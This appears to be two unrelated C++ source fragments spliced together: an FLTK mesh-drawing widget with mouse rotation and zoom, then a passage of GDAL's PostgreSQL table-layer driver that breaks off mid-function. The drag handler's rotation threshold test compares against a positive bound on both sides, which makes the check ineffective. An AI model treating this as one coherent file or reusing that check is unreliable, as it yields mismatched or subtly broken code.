void DrawBox::set_mesh(mesh_t mesh)
{
this->mesh = mesh;
set_transforms();
redraw();
}
void DrawBox::set_disp(double* disp)
{
this->disp = disp;
redraw();
}
void DrawBox::draw()
{
netdraw_gc_t netdraw;
netdraw.methods = &fltk_draw_fun;
netdraw.data = this;
draw_box();
if (mesh != NULL) {
fl_color(FL_BLACK);
fl_push_clip(x(), y(), w(), h());
int n = mesh_num_elements(mesh);
for (int i = 1; i <= n; ++i)
element_display( mesh_element(mesh, i), &netdraw );
fl_pop_clip();
}
}
void DrawBox::resize(int x, int y, int w, int h)
{
Fl_Box::resize(x, y, w, h);
if (mesh)
set_transforms();
}
int DrawBox::handle(int event)
{
double xdelta, ydelta;
switch (event) {
case FL_PUSH:
if (Fl::event_button() == FL_LEFT_MOUSE) {
// start rotation
pushed_wh = min(w(), h());
pushed_x = Fl::event_x();
pushed_y = Fl::event_y();
} else if (Fl::event_button() == FL_RIGHT_MOUSE) {
// reset to initial view
set_transforms();
redraw();
} else if (Fl::event_button() == FL_MIDDLE_MOUSE) {
// double zoom factor about clicked location
double x_translate = x() + w()/2 - Fl::event_x();
double y_translate = y() + h()/2 - Fl::event_y();
x_translate += toscreen[9];
y_translate += toscreen[10];
affine_scale(toscreen, 2);
toscreen[9] = x_translate;
toscreen[10] = y_translate;
redraw();
}
return 1;
case FL_DRAG:
if (Fl::event_button() != FL_LEFT_MOUSE)
return 1;
// do rotation
xdelta = 2*M_PI * (Fl::event_x() - pushed_x) / pushed_wh;
if (xdelta > M_PI / 18 || xdelta < M_PI / 18) {
pushed_x = Fl::event_x();
affine_rotate_oy(toview, xdelta);
redraw();
}
ydelta = 2*M_PI * (Fl::event_y() - pushed_y) / pushed_wh;
if (ydelta > M_PI / 18 || ydelta < M_PI / 18) {
pushed_y = Fl::event_y();
affine_rotate_ox(toview, ydelta);
redraw();
}
return 1;
case FL_RELEASE:
// end rotation
return 1;
default:
return Fl_Box::handle(event);
}
}
|
/******************************************************************************
* $Id: ogrpgtablelayer.cpp 33713 2016-03-12 17:41:57Z goatbar $
*
* Project: OpenGIS Simple Features Reference Implementation
* Purpose: Implements OGRPGTableLayer class, access to an existing table.
* Author: Frank Warmerdam, warmerdam@pobox.com
*
******************************************************************************
* Copyright (c) 2000, Frank Warmerdam
* Copyright (c) 2008-2014, Even Rouault <even dot rouault at mines-paris dot org>
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included
* in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
* DEALINGS IN THE SOFTWARE.
****************************************************************************/
#include "ogr_pg.h"
#include "cpl_conv.h"
#include "cpl_string.h"
#include "cpl_error.h"
#include "ogr_p.h"
#define PQexec this_is_an_error
CPL_CVSID("$Id: ogrpgtablelayer.cpp 33713 2016-03-12 17:41:57Z goatbar $");
#define USE_COPY_UNSET -10
#define UNSUPPORTED_OP_READ_ONLY "%s : unsupported operation on a read-only datasource."
/************************************************************************/
/* OGRPGTableFeatureDefn */
/************************************************************************/
class OGRPGTableFeatureDefn : public OGRPGFeatureDefn
{
private:
OGRPGTableLayer *poLayer;
void SolveFields();
public:
OGRPGTableFeatureDefn( OGRPGTableLayer* poLayerIn,
const char * pszName = NULL ) :
OGRPGFeatureDefn(pszName), poLayer(poLayerIn)
{
}
virtual void UnsetLayer()
{
poLayer = NULL;
OGRPGFeatureDefn::UnsetLayer();
}
virtual int GetFieldCount()
{ SolveFields(); return OGRPGFeatureDefn::GetFieldCount(); }
virtual OGRFieldDefn *GetFieldDefn( int i )
{ SolveFields(); return OGRPGFeatureDefn::GetFieldDefn(i); }
virtual int GetFieldIndex( const char * pszName )
{ SolveFields(); return OGRPGFeatureDefn::GetFieldIndex(pszName); }
virtual int GetGeomFieldCount()
{ if (poLayer != NULL && !poLayer->HasGeometryInformation())
SolveFields();
return OGRPGFeatureDefn::GetGeomFieldCount(); }
virtual OGRGeomFieldDefn *GetGeomFieldDefn( int i )
{ if (poLayer != NULL && !poLayer->HasGeometryInformation())
SolveFields();
return OGRPGFeatureDefn::GetGeomFieldDefn(i); }
virtual int GetGeomFieldIndex( const char * pszName)
{ if (poLayer != NULL && !poLayer->HasGeometryInformation())
SolveFields();
return OGRPGFeatureDefn::GetGeomFieldIndex(pszName); }
};
/************************************************************************/
/* SolveFields() */
/************************************************************************/
void OGRPGTableFeatureDefn::SolveFields()
{
if( poLayer == NULL )
return;
poLayer->ReadTableDefinition();
}
/************************************************************************/
/* GetFIDColumn() */
/************************************************************************/
const char *OGRPGTableLayer::GetFIDColumn()
{
ReadTableDefinition();
if( pszFIDColumn != NULL )
return pszFIDColumn;
else
return "";
}
/************************************************************************/
/* OGRPGTableLayer() */
/************************************************************************/
OGRPGTableLayer::OGRPGTableLayer( OGRPGDataSource *poDSIn,
CPLString& osCurrentSchema,
const char * pszTableNameIn,
const char * pszSchemaNameIn,
const char * pszDescriptionIn,
const char * pszGeomColForcedIn,
int bUpdate )
{
poDS = poDSIn;
pszQueryStatement = NULL;
bUpdateAccess = bUpdate;
bGeometryInformationSet = FALSE;
bLaunderColumnNames = TRUE;
bPreservePrecision = TRUE;
bCopyActive = FALSE;
bUseCopy = USE_COPY_UNSET; // unknown
bUseCopyByDefault = FALSE;
bFIDColumnInCopyFields = FALSE;
bFirstInsertion = TRUE;
pszTableName = CPLStrdup( pszTableNameIn );
if (pszSchemaNameIn)
pszSchemaName = CPLStrdup( pszSchemaNameIn );
else
pszSchemaName = CPLStrdup( osCurrentSchema );
this->pszGeomColForced =
pszGeomColForcedIn ? CPLStrdup(pszGeomColForcedIn) : NULL;
pszSqlGeomParentTableName = NULL;
bTableDefinitionValid = -1;
bHasWarnedIncompatibleGeom = FALSE;
bHasWarnedAlreadySetFID = FALSE;
/* Just in provision for people yelling about broken backward compatibility ... */
bRetrieveFID = CPLTestBool(CPLGetConfigOption("OGR_PG_RETRIEVE_FID", "TRUE"));
/* -------------------------------------------------------------------- */
/* Build the layer defn name. */
/* -------------------------------------------------------------------- */
CPLString osDefnName;
if ( pszSchemaNameIn && osCurrentSchema != pszSchemaNameIn )
{
osDefnName.Printf("%s.%s", pszSchemaNameIn, pszTableName );
pszSqlTableName = CPLStrdup(CPLString().Printf("%s.%s",
OGRPGEscapeColumnName(pszSchemaNameIn).c_str(),
OGRPGEscapeColumnName(pszTableName).c_str() ));
}
else
{
//no prefix for current_schema in layer name, for backwards compatibility
osDefnName = pszTableName;
pszSqlTableName = CPLStrdup(OGRPGEscapeColumnName(pszTableName));
}
if( pszGeomColForced != NULL )
{
osDefnName += "(";
osDefnName += pszGeomColForced;
osDefnName += ")";
}
osPrimaryKey = CPLGetConfigOption( "PGSQL_OGR_FID", "ogc_fid" );
papszOverrideColumnTypes = NULL;
nForcedSRSId = UNDETERMINED_SRID;
nForcedGeometryTypeFlags = -1;
bCreateSpatialIndexFlag = TRUE;
bInResetReading = FALSE;
poFeatureDefn = new OGRPGTableFeatureDefn( this, osDefnName );
SetDescription( poFeatureDefn->GetName() );
poFeatureDefn->Reference();
bAutoFIDOnCreateViaCopy = FALSE;
bDeferredCreation = FALSE;
iFIDAsRegularColumnIndex = -1;
pszDescription = (pszDescriptionIn) ? CPLStrdup(pszDescriptionIn) : NULL;
if( pszDescriptionIn != NULL && !EQUAL(pszDescriptionIn, "") )
{
OGRLayer::SetMetadataItem("DESCRIPTION", pszDescriptionIn);
}
}
//************************************************************************/
/* ~OGRPGTableLayer() */
/************************************************************************/
OGRPGTableLayer::~OGRPGTableLayer()
{
if( bDeferredCreation ) RunDeferredCreationIfNecessary();
if ( bCopyActive ) EndCopy();
CPLFree( pszSqlTableName );
CPLFree( pszTableName );
CPLFree( pszSqlGeomParentTableName );
CPLFree( pszSchemaName );
CPLFree( pszDescription );
CPLFree( pszGeomColForced );
CSLDestroy( papszOverrideColumnTypes );
}
/************************************************************************/
/* GetMetadataDomainList() */
/************************************************************************/
char ** OGRPGTableLayer::GetMetadataDomainList()
{
if( pszDescription == NULL )
GetMetadata();
if( pszDescription[0] != '\0' )
return CSLAddString(NULL, "");
return NULL;
}
/************************************************************************/
/* GetMetadata() */
/************************************************************************/
char ** OGRPGTableLayer::GetMetadata(const char* pszDomain)
{
if( (pszDomain == NULL || EQUAL(pszDomain, "")) &&
pszDescription == NULL )
{
PGconn *hPGConn = poDS->GetPGConn();
CPLString osCommand;
osCommand.Printf(
"SELECT d.description FROM pg_class c "
"JOIN pg_namespace n ON c.relnamespace=n.oid "
"JOIN pg_description d "
"ON d.objoid = c.oid AND d.classoid = 'pg_class'::regclass::oid AND d.objsubid = 0 "
"WHERE c.relname = %s AND n.nspname = %s AND c.relkind in ('r', 'v') ",
OGRPGEscapeString(hPGConn, pszTableName).c_str(),
OGRPGEscapeString(hPGConn, pszSchemaName).c_str());
PGresult* hResult = OGRPG_PQexec(hPGConn, osCommand.c_str() );
const char* pszDesc = NULL;
if ( hResult && PGRES_TUPLES_OK == PQresultStatus(hResult) &&
PQntuples( hResult ) == 1 )
{
pszDesc = PQgetvalue(hResult,0,0);
if( pszDesc )
OGRLayer::SetMetadataItem("DESCRIPTION", pszDesc);
}
pszDescription = CPLStrdup(pszDesc ? pszDesc : "");
OGRPGClearResult( hResult );
}
return OGRLayer::GetMetadata(pszDomain);
}
/************************************************************************/
/* GetMetadataItem() */
/************************************************************************/
const char *OGRPGTableLayer::GetMetadataItem(const char* pszName, const char* pszDomain)
{
GetMetadata(pszDomain);
return OGRLayer::GetMetadataItem(pszName, pszDomain);
}
/************************************************************************/
/* SetMetadata() */
/************************************************************************/
CPLErr OGRPGTableLayer::SetMetadata(char** papszMD, const char* pszDomain)
{
OGRLayer::SetMetadata(papszMD, pszDomain);
if( osForcedDescription.size() && (pszDomain == NULL || EQUAL(pszDomain, "")) )
{
OGRLayer::SetMetadataItem("DESCRIPTION", osForcedDescription);
}
if( !bDeferredCreation && (pszDomain == NULL || EQUAL(pszDomain, "")) )
{
const char* l_pszDescription = OGRLayer::GetMetadataItem("DESCRIPTION");
PGconn *hPGConn = poDS->GetPGConn();
CPLString osCommand;
osCommand.Printf( "COMMENT ON TABLE %s IS %s",
pszSqlTableName,
l_pszDescription && l_pszDescription[0] != '\0' ?
OGRPGEscapeString(hPGConn, l_pszDescription).c_str() : "NULL" );
PGresult* hResult = OGRPG_PQexec(hPGConn, osCommand.c_str() );
OGRPGClearResult( hResult );
CPLFree(pszDescription);
pszDescription = CPLStrdup(l_pszDescription ? l_pszDescription : "");
}
return CE_None;
}
/************************************************************************/
/* SetMetadataItem() */
/************************************************************************/
CPLErr OGRPGTableLayer::SetMetadataItem(const char* pszName, const char* pszValue,
const char* pszDomain)
{
if( (pszDomain == NULL || EQUAL(pszDomain, "")) && pszName != NULL &&
EQUAL(pszName, "DESCRIPTION") && osForcedDescription.size() )
{
pszValue = osForcedDescription;
}
OGRLayer::SetMetadataItem(pszName, pszValue, pszDomain);
if( !bDeferredCreation &&
(pszDomain == NULL || EQUAL(pszDomain, "")) && pszName != NULL &&
EQUAL(pszName, "DESCRIPTION") )
{
SetMetadata( GetMetadata() );
}
return CE_None;
}
/************************************************************************/
/* SetForcedDescription() */
/************************************************************************/
void OGRPGTableLayer::SetForcedDescription( const char* pszDescriptionIn )
{
osForcedDescription = pszDescriptionIn;
CPLFree(pszDescription);
pszDescription = CPLStrdup( pszDescriptionIn );
SetMetadataItem( "DESCRIPTION", osForcedDescription );
}
/************************************************************************/
/* SetGeometryInformation() */
/************************************************************************/
void OGRPGTableLayer::SetGeometryInformation(PGGeomColumnDesc* pasDesc,
int nGeomFieldCount)
{
// Flag must be set before instantiating geometry fields.
bGeometryInformationSet = TRUE;
for(int i=0; i<nGeomFieldCount; i++)
{
OGRPGGeomFieldDefn* poGeomFieldDefn =
new OGRPGGeomFieldDefn(this, pasDesc[i].pszName);
poGeomFieldDefn->SetNullable(pasDesc[i].bNullable);
poGeomFieldDefn->nSRSId = pasDesc[i].nSRID;
poGeomFieldDefn->GeometryTypeFlags = pasDesc[i].GeometryTypeFlags;
poGeomFieldDefn->ePostgisType = pasDesc[i].ePostgisType;
if( pasDesc[i].pszGeomType != NULL )
{
OGRwkbGeometryType eGeomType = OGRFromOGCGeomType(pasDesc[i].pszGeomType);
if( (poGeomFieldDefn->GeometryTypeFlags & OGRGeometry::OGR_G_3D) && (eGeomType != wkbUnknown) )
eGeomType = wkbSetZ(eGeomType);
if( (poGeomFieldDefn->GeometryTypeFlags & OGRGeometry::OGR_G_MEASURED) && (eGeomType != wkbUnknown) )
eGeomType = wkbSetM(eGeomType);
poGeomFieldDefn->SetType(eGeomType);
}
poFeatureDefn->AddGeomFieldDefn(poGeomFieldDefn, FALSE);
}
}
/************************************************************************/
/* ReadTableDefinition() */
/* */
/* Build a schema from the named table. Done by querying the */
/* catalog. */
/************************************************************************/
int OGRPGTableLayer::ReadTableDefinition()
{
PGresult *hResult;
CPLString osCommand;
PGconn *hPGConn = poDS->GetPGConn();
if( bTableDefinitionValid >= 0 )
return bTableDefinitionValid;
bTableDefinitionValid = FALSE;
poDS->EndCopy();
CPLString osSchemaClause;
osSchemaClause.Printf("AND n.nspname=%s",
OGRPGEscapeString(hPGConn, pszSchemaName).c_str());
const char* pszTypnameEqualsAnyClause;
if (poDS->sPostgreSQLVersion.nMajor == 7 && poDS->sPostgreSQLVersion.nMinor <= 3)
pszTypnameEqualsAnyClause = "ANY(SELECT '{int2, int4, int8, serial, bigserial}')";
else
pszTypnameEqualsAnyClause = "ANY(ARRAY['int2','int4','int8','serial','bigserial'])";
const char* pszAttnumEqualAnyIndkey;
if( poDS->sPostgreSQLVersion.nMajor > 8 || (
poDS->sPostgreSQLVersion.nMajor == 8 && poDS->sPostgreSQLVersion.nMinor >= 2) )
pszAttnumEqualAnyIndkey = "a.attnum = ANY(i.indkey)";
else
pszAttnumEqualAnyIndkey = "(i.indkey[0]=a.attnum OR i.indkey[1]=a.attnum OR i.indkey[2]=a.attnum "
"OR i.indkey[3]=a.attnum OR i.indkey[4]=a.attnum OR i.indkey[5]=a.attnum "
"OR i.indkey[6]=a.attnum OR i.indkey[7]=a.attnum OR i.indkey[8]=a.attnum "
"OR i.indkey[9]=a.attnum)";
CPLString osEscapedTableNameSingleQuote = OGRPGEscapeString(hPGConn, pszTableName);
const char* pszEscapedTableNameSingleQuote = osEscapedTableNameSingleQuote.c_str();
/* See #1889 for why we don't use 'AND a.attnum = ANY(i.indkey)' */
osCommand.Printf("SELECT a.attname, a.attnum, t.typname, "
"t.typname = %s AS isfid "
"FROM pg_class c, pg_attribute a, pg_type t, pg_namespace n, pg_index i "
"WHERE a.attnum > 0 AND a.attrelid = c.oid "
"AND a.atttypid = t.oid AND c.relnamespace = n.oid "
"AND c.oid = i.indrelid AND i.indisprimary = 't' "
"AND t.typname !~ '^geom' AND c.relname = %s "
"AND %s %s ORDER BY a.attnum",
pszTypnameEqualsAnyClause, pszEscapedTableNameSingleQuote,
pszAttnumEqualAnyIndkey, osSchemaClause.c_str() );
hResult = OGRPG_PQexec(hPGConn, osCommand.c_str() );
if ( hResult && PGRES_TUPLES_OK == PQresultStatus(hResult) )
{
if ( PQntuples( hResult ) == 1 && PQgetisnull( hResult,0,0 ) == false )
{
/* Check if single-field PK can be represented as integer. */
CPLString osValue(PQgetvalue(hResult, 0, 3));
if( osValue == "t" )
{
osPrimaryKey.Printf( "%s", PQgetvalue(hResult,0,0) );
const char* pszFIDType = PQgetvalue(hResult, 0, 2);
CPLDebug( "PG", "Primary key name (FID): %s, type : %s",
osPrimaryKey.c_str(), pszFIDType );
if( EQUAL(pszFIDType, "int8") )
SetMetadataItem(OLMD_FID64, "YES");
}
}
else if ( PQntuples( hResult ) > 1 )
{
CPLError( CE_Warning, CPLE_AppDefined,
"Multi-column primary key in \'%s\' detected but not supported.",
pszTableName );
}
OGRPGClearResult( hResult );
/* Zero tuples means no PK is defined, perfectly valid case. */
}
else
{
CPLError( CE_Failure, CPLE_AppDefined,
"%s", PQerrorMessage(hPGConn) );
}
/* -------------------------------------------------------------------- */
/* Fire off commands to get back the columns of the table. */
/* -------------------------------------------------------------------- */
osCommand.Printf(
"SELECT DISTINCT a.attname, t.typname, a.attlen,"
" format_type(a.atttypid,a.atttypmod), a.attnum, a.attnotnull, a.atthasdef "
"FROM pg_class c, pg_attribute a, pg_type t, pg_namespace n "
"WHERE c.relname = %s "
"AND a.attnum > 0 AND a.attrelid = c.oid "
"AND a.atttypid = t.oid "
"AND c.relnamespace=n.oid "
"%s "
"ORDER BY a.attnum",
pszEscapedTableNameSingleQuote, osSchemaClause.c_str());
hResult = OGRPG_PQexec(hPGConn, osCommand.c_str() );
if( !hResult || PQresultStatus(hResult) != PGRES_TUPLES_OK )
{
OGRPGClearResult( hResult );
CPLError( CE_Failure, CPLE_AppDefined,
"%s", PQerrorMessage(hPGConn) );
return bTableDefinitionValid;
}
if( PQntuples(hResult) == 0 )
{
OGRPGClearResult( hResult );
CPLDebug( "PG",
"No field definitions found for '%s', is it a table?",
pszTableName );
return bTableDefinitionValid;
}
/* -------------------------------------------------------------------- */
/* Parse the returned table information. */
/* -------------------------------------------------------------------- */
int iRecord;
int bHasDefault = FALSE;
for( iRecord = 0; iRecord < PQntuples(hResult); iRecord++ )
{
const char *pszType = NULL;
const char *pszFormatType = NULL;
const char *pszNotNull = NULL;
const char *pszHasDef = NULL;
OGRFieldDefn oField( PQgetvalue( hResult, iRecord, 0 ), OFTString);
pszType = PQgetvalue(hResult, iRecord, 1 );
int nWidth = atoi(PQgetvalue(hResult,iRecord,2));
pszFormatType = PQgetvalue(hResult,iRecord,3);
pszNotNull = PQgetvalue(hResult,iRecord,5);
pszHasDef = PQgetvalue(hResult,iRecord,6);
if( pszNotNull && EQUAL(pszNotNull, "t") )
oField.SetNullable(FALSE);
if( pszHasDef && EQUAL(pszHasDef, "t") )
bHasDefault = TRUE;
if( EQUAL(oField.GetNameRef(),osPrimaryKey) )
{
pszFIDColumn = CPLStrdup(oField.GetNameRef());
CPLDebug("PG","Using column '%s' as FID for table '%s'", pszFIDColumn, pszTableName );
continue;
}
else if( EQUAL(pszType,"geometry") ||
EQUAL(pszType,"geography") ||
EQUAL(oField.GetNameRef(),"WKB_GEOMETRY") )
{
OGRPGGeomFieldDefn* poGeomFieldDefn = NULL;
if( !bGeometryInformationSet )
{
if( pszGeomColForced == NULL ||
EQUAL(pszGeomColForced, oField.GetNameRef()) )
poGeomFieldDefn = new OGRPGGeomFieldDefn(this, oField.GetNameRef());
}
else
{
int idx = poFeatureDefn->GetGeomFieldIndex(oField.GetNameRef());
if( idx >= 0 )
poGeomFieldDefn = poFeatureDefn->myGetGeomFieldDefn(idx);
}
if( poGeomFieldDefn != NULL )
{
if( EQUAL(pszType,"geometry") )
poGeomFieldDefn->ePostgisType = GEOM_TYPE_GEOMETRY;
else if( EQUAL(pszType,"geography") )
{
poGeomFieldDefn->ePostgisType = GEOM_TYPE_GEOGRAPHY;
poGeomFieldDefn->nSRSId = 4326;
}
else
{
poGeomFieldDefn->ePostgisType = GEOM_TYPE_WKB;
if( EQUAL(pszType,"OID") )
bWkbAsOid = TRUE;
}
poGeomFieldDefn->SetNullable(oField.IsNullable());
if( !bGeometryInformationSet )
poFeatureDefn->AddGeomFieldDefn(poGeomFieldDefn, FALSE);
}
continue;
}
OGRPGCommonLayerSetType(oField, pszType, pszFormatType, nWidth);
//CPLDebug("PG", "name=%s, type=%s", oField.GetNameRef(), pszType);
poFeatureDefn->AddFieldDefn( &oField );
}
OGRPGClearResult( hResult );
if( bHasDefault )
{
osCommand.Printf(
"SELECT a.attname, pg_get_expr(def.adbin, c.oid) "
"FROM pg_attrdef def, pg_class c, pg_attribute a, pg_type t, pg_namespace n "
"WHERE c.relname = %s AND a.attnum > 0 AND a.attrelid = c.oid "
"AND a.atttypid = t.oid AND c.relnamespace=n.oid AND "
"def.adrelid = c.oid AND def.adnum = a.attnum "
"%s "
"ORDER BY a.attnum",
pszEscapedTableNameSingleQuote, osSchemaClause.c_str());
hResult = OGRPG_PQexec(hPGConn, osCommand.c_str() );
if( !hResult || PQresultStatus(hResult) != PGRES_TUPLES_OK )
{
OGRPGClearResult( hResult );
CPLError( CE_Failure, CPLE_AppDefined,
"%s", PQerrorMessage(hPGConn) );
return bTableDefinitionValid;
}
for( iRecord = 0; iRecord < PQntuples(hResult); iRecord++ )
{
const char *pszName = PQgetvalue( hResult, iRecord, 0 );
const char *pszDefault = PQgetvalue( hResult, iRecord, 1 );
int nIdx = poFeatureDefn->GetFieldIndex(pszName);
if( nIdx >= 0 )
{
OGRFieldDefn* poFieldDefn = poFeatureDefn->GetFieldDefn(nIdx);
OGRPGCommonLayerNormalizeDefault(poFieldDefn, pszDefault);
}
}
OGRPGClearResult( hResult );
}
bTableDefinitionValid = TRUE;
ResetReading();
/* If geometry type, SRID, etc... have always been set by SetGeometryInformation() */
/* no need to issue a new SQL query. Just record the geom type in the layer definition */
if (bGeometryInformationSet)
{
return TRUE;
}
bGeometryInformationSet = TRUE;
// get layer geometry type (for PostGIS dataset)
for(int iField = 0; iField < poFeatureDefn->GetGeomFieldCount(); iField++)
{
OGRPGGeomFieldDefn* poGeomFieldDefn =
poFeatureDefn->myGetGeomFieldDefn(iField);
/* Get the geometry type and dimensions from the table, or */
/* from its parents if it is a derived table, or from the parent of the parent, etc.. */
int bGoOn = TRUE;
int bHasPostGISGeometry =
(poGeomFieldDefn->ePostgisType == GEOM_TYPE_GEOMETRY);
while(bGoOn)
{
osEscapedTableNameSingleQuote = OGRPGEscapeString(hPGConn,
(pszSqlGeomParentTableName) ? pszSqlGeomParentTableName : pszTableName);
pszEscapedTableNameSingleQuote = osEscapedTableNameSingleQuote.c_str();
osCommand.Printf(
"SELECT type, coord_dimension, srid FROM %s WHERE f_table_name = %s",
(bHasPostGISGeometry) ? "geometry_columns" : "geography_columns",
pszEscapedTableNameSingleQuote);
osCommand += CPLString().Printf(" AND %s=%s",
(bHasPostGISGeometry) ? "f_geometry_column" : "f_geography_column",
OGRPGEscapeString(hPGConn,poGeomFieldDefn->GetNameRef()).c_str());
osCommand += CPLString().Printf(" AND f_table_schema = %s",
OGRPGEscapeString(hPGConn,pszSchemaName).c_str());
hResult = OGRPG_PQexec(hPGConn,osCommand);
if ( hResult && PQntuples(hResult) == 1 && !PQgetisnull(hResult,0,0) )
{
const char* pszType = PQgetvalue(hResult,0,0);
int dim = atoi(PQgetvalue(hResult,0,1));
bool bHasM = pszType[strlen(pszType)-1] == 'M';
int GeometryTypeFlags = 0;
if( dim == 3 )
{
if (bHasM)
GeometryTypeFlags |= OGRGeometry::OGR_G_MEASURED;
else
GeometryTypeFlags |= OGRGeometry::OGR_G_3D;
}
else if( dim == 4 )
GeometryTypeFlags |= OGRGeometry::OGR_G_3D | OGRGeometry::OGR_G_MEASURED;
int nSRSId = atoi(PQgetvalue(hResult,0,2));
poGeomFieldDefn->GeometryTypeFlags = GeometryTypeFlags;
if( nSRSId > 0 )
poGeomFieldDefn->nSRSId = nSRSId;
OGRwkbGeometryType eGeomType = OGRFromOGCGeomType(pszType);
if( poGeomFieldDefn->GeometryTypeFlags & OGRGeometry::OGR_G_3D && eGeomType != wkbUnknown )
eGeomType = wkbSetZ(eGeomType);
if( poGeomFieldDefn->GeometryTypeFlags & OGRGeometry::OGR_G_MEASURED && eGeomType != wkbUnknown )
eGeomType = wkbSetM(eGeomType);
poGeomFieldDefn->SetType(eGeomType);
bGoOn = FALSE;
}
else
{
/* Fetch the name of the parent table */
osCommand.Printf(
"SELECT pg_class.relname FROM pg_class WHERE oid = "
"(SELECT pg_inherits.inhparent FROM pg_inherits WHERE inhrelid = "
"(SELECT c.oid FROM pg_class c, pg_namespace n "
"WHERE c.relname = %s AND c.relnamespace=n.oid AND "
"n.nspname = %s))",
pszEscapedTableNameSingleQuote,
OGRPGEscapeString(hPGConn, pszSchemaName).c_str() );
OGRPGClearResult( hResult );
hResult = OGRPG_PQexec(hPGConn, osCommand.c_str() );
if ( hResult && PQntuples( hResult ) == 1 && !PQgetisnull( hResult,0,0 ) )
{
CPLFree(pszSqlGeomParentTableName);
pszSqlGeomParentTableName = CPLStrdup( PQgetvalue(hResult,0,0) );
}
else
{
/* No more parent : stop recursion */
bGoOn = FALSE;
}
}
OGRPGClearResult( hResult );
}
}
return bTableDefinitionValid;
}
/************************************************************************/
/* SetTableDefinition() */
/************************************************************************/
void OGRPGTableLayer::SetTableDefinition(const char* pszFIDColumnName,
const char* pszGFldName,
OGRwkbGeometryType eType,
const char* pszGeomType,
int nSRSId,
int GeometryTypeFlags)
{
bTableDefinitionValid = TRUE;
bGeometryInformationSet = TRUE;
pszFIDColumn = CPLStrdup(pszFIDColumnName);
poFeatureDefn->SetGeomType(wkbNone);
if( eType != wkbNone )
{
OGRPGGeomFieldDefn* poGeomFieldDefn = new OGRPGGeomFieldDefn(this, pszGFldName);
poGeomFieldDefn->SetType(eType);
poGeomFieldDefn->GeometryTypeFlags = GeometryTypeFlags;
if( EQUAL(pszGeomType,"geometry") )
{
poGeomFieldDefn->ePostgisType = GEOM_TYPE_GEOMETRY;
poGeomFieldDefn->nSRSId = nSRSId;
}
else if( EQUAL(pszGeomType,"geography") )
{
poGeomFieldDefn->ePostgisType = GEOM_TYPE_GEOGRAPHY;
poGeomFieldDefn->nSRSId = 4326;
}
else
{
poGeomFieldDefn->ePostgisType = GEOM_TYPE_WKB;
if( EQUAL(pszGeomType,"OID") )
bWkbAsOid = TRUE;
}
poFeatureDefn->AddGeomFieldDefn(poGeomFieldDefn, FALSE);
}
else if( pszGFldName != NULL )
m_osFirstGeometryFieldName = pszGFldName;
}
/************************************************************************/
/* SetSpatialFilter() */
/************************************************************************/
void OGRPGTableLayer::SetSpatialFilter( int iGeomField, OGRGeometry * poGeomIn )
{
if( iGeomField < 0 || iGeomField >= GetLayerDefn()->GetGeomFieldCount() ||
GetLayerDefn()->GetGeomFieldDefn(iGeomField)->GetType() == wkbNone )
{
if( iGeomField != 0 )
{
CPLError(CE_Failure, CPLE_AppDefined,
"Invalid geometry field index : %d", iGeomField);
}
return;
}
m_iGeomFieldFilter = iGeomField;
if( InstallFilter( poGeomIn ) )
{
BuildWhere();
ResetReading();
}
}
/************************************************************************/
/* BuildWhere() */
/* */
/* Build the WHERE statement appropriate to the current set of */
/* criteria (spatial and attribute queries). */
/************************************************************************/
void OGRPGTableLayer::BuildWhere()
{
osWHERE = "";
OGRPGGeomFieldDefn* poGeomFieldDefn = NULL;
if( poFeatureDefn->GetGeomFieldCount() != 0 )
poGeomFieldDefn = poFeatureDefn->myGetGeomFieldDefn(m_iGeomFieldFilter);
if( m_poFilterGeom != NULL && poGeomFieldDefn != NULL &&
poDS->sPostGISVersion.nMajor >= 0 && (
poGeomFieldDefn->ePostgisType == GEOM_TYPE_GEOMETRY ||
poGeomFieldDefn->ePostgisType == GEOM_TYPE_GEOGRAPHY) )
{
char szBox3D_1[128];
char szBox3D_2[128];
OGREnvelope sEnvelope;
m_poFilterGeom->getEnvelope( &sEnvelope );
if( poGeomFieldDefn->ePostgisType == GEOM_TYPE_GEOGRAPHY )
{
if( sEnvelope.MinX < -180.0 )
sEnvelope.MinX = -180.0;
if( sEnvelope.MinY < -90.0 )
sEnvelope.MinY = -90.0;
if( sEnvelope.MaxX > 180.0 )
sEnvelope.MaxX = 180.0;
if( sEnvelope.MaxY > 90.0 )
sEnvelope.MaxY = 90.0;
}
CPLsnprintf(szBox3D_1, sizeof(szBox3D_1), "%.18g %.18g", sEnvelope.MinX, sEnvelope.MinY);
CPLsnprintf(szBox3D_2, sizeof(szBox3D_2), "%.18g %.18g", sEnvelope.MaxX, sEnvelope.MaxY);
osWHERE.Printf("WHERE %s && %s('BOX3D(%s, %s)'::box3d,%d) ",
OGRPGEscapeColumnName(poGeomFieldDefn->GetNameRef()).c_str(),
(poDS->sPostGISVersion.nMajor >= 2) ? "ST_SetSRID" : "SetSRID",
szBox3D_1, szBox3D_2, poGeomFieldDefn->nSRSId );
}
if( strlen(osQuery) > 0 )
{
if( strlen(osWHERE) == 0 )
{
osWHERE.Printf( "WHERE %s ", osQuery.c_str() );
}
else
{
osWHERE += "AND (";
osWHERE += osQuery;
osWHERE += ")";
}
}
}
/************************************************************************/
/* BuildFullQueryStatement() */
/************************************************************************/
void OGRPGTableLayer::BuildFullQueryStatement()
{
CPLString osFields = BuildFields();
if( pszQueryStatement != NULL )
{
CPLFree( pszQueryStatement );
pszQueryStatement = NULL;
}
pszQueryStatement = (char *)
CPLMalloc(strlen(osFields)+strlen(osWHERE)
+strlen(pszSqlTableName) + 40);
snprintf( pszQueryStatement,
strlen(osFields)+strlen(osWHERE)
+strlen(pszSqlTableName) + 40,
"SELECT %s FROM %s %s",
osFields.c_str(), pszSqlTableName, osWHERE.c_str() );
}
/************************************************************************/
/* ResetReading() */
/************************************************************************/
void OGRPGTableLayer::ResetReading()
{
